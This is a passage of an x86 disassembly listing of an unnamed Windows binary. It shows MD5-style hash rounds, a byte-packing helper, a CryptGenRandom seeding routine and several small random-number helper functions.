		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3105C08h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+676F02D9h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-944B4B0h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-41404390h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-155ED806h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4881D05h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+432AFF97h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-36C5FC7h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+655B59C3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-100B83h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6FA87E4Fh]


loc_41005C:				; DATA XREF: .data:off_41A8CCo
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1D31920h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-8AC817Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-14792C6Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		leave
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410244	proc near		; CODE XREF: sub_40F3CE+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_410263
; ---------------------------------------------------------------------------


loc_410253:				; CODE XREF: sub_410244+66j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_410263:				; CODE XREF: sub_410244+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_4102AC
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+1]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+2]
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+3]
		shl	ecx, 18h
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		jmp	short loc_410253
; ---------------------------------------------------------------------------

locret_4102AC:				; CODE XREF: sub_410244+25j
		leave
		retn
sub_410244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102AE	proc near		; CODE XREF: .text:004168D0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_417024	; CryptAcquireContextA
		push	offset dword_41EADC
		push	4
		push	[ebp+var_4]
		call	ds:dword_417020	; CryptGenRandom
		push	offset dword_41EAE0
		push	4
		push	[ebp+var_4]
		call	ds:dword_417020	; CryptGenRandom
		push	offset dword_41EAE4
		push	4
		push	[ebp+var_4]
		call	ds:dword_417020	; CryptGenRandom
		push	offset dword_41EAE8
		push	4
		push	[ebp+var_4]
		call	ds:dword_417020	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	ds:dword_41701C	; CryptReleaseContext
		leave
		retn
sub_4102AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410318	proc near		; CODE XREF: sub_4103F5+6p
					; sub_410422+6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lock xadd dword_41EADC,	eax
		add	eax, ebx
		lock xadd dword_41EAE0,	eax
		add	eax, ecx
		lock xadd dword_41EAE4,	eax
		add	eax, edx
		lock xadd dword_41EAE8,	eax
		add	eax, esi
		lock xadd dword_41EADC,	eax
		add	eax, edi
		lock xadd dword_41EAE0,	eax
		add	eax, ebp
		lock xadd dword_41EAE4,	eax
		add	eax, esp
		lock xadd dword_41EAE8,	eax
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_41EADC,	eax
		lock xadd dword_41EAE0,	eax
		lock xadd dword_41EAE4,	eax
		lock xadd dword_41EAE8,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_41EAE4,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_41EAE0,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_41EADC,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_41EAE8,	edx
		lock xadd dword_41EAE4,	ecx
		lock xadd dword_41EAE0,	ebx
		lock xadd dword_41EADC,	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; CODE XREF: sub_4020C2+10Bp
					; sub_4040E8+2Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE8,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4103F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410422	proc near		; CODE XREF: sub_40CF2F:loc_40CFBCp
					; sub_40D871+D3Fp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE8,	eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043F	proc near		; CODE XREF: sub_4055E5+715p
					; sub_4055E5+78Bp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE4,	eax
		and	eax, 0FFFFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41043F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410461	proc near		; CODE XREF: sub_4104A3+42p
					; sub_4125DF:loc_4126B8p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAE0,	eax
		and	eax, 0FFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410483	proc near		; CODE XREF: sub_4055E5+72Bp
					; sub_40D7E5+57p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EADC,	eax
		and	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104A3	proc near		; CODE XREF: sub_40A9CF+D4Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4104AF
		jmp	short locret_4104FF
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_4104A3+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4104B5:				; CODE XREF: sub_4104A3+34j
		cmp	[ebp+arg_4], 3
		jbe	short loc_4104D9
		call	sub_410422
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		jmp	short loc_4104B5
; ---------------------------------------------------------------------------


loc_4104D9:				; CODE XREF: sub_4104A3+16j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax


loc_4104DF:				; CODE XREF: sub_4104A3+5Aj
		cmp	[ebp+arg_4], 0
		jbe	short locret_4104FF
		call	sub_410461
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4104DF
; ---------------------------------------------------------------------------

locret_4104FF:				; CODE XREF: sub_4104A3+Aj
					; sub_4104A3+40j
		leave
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410501	proc near		; CODE XREF: sub_403260+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
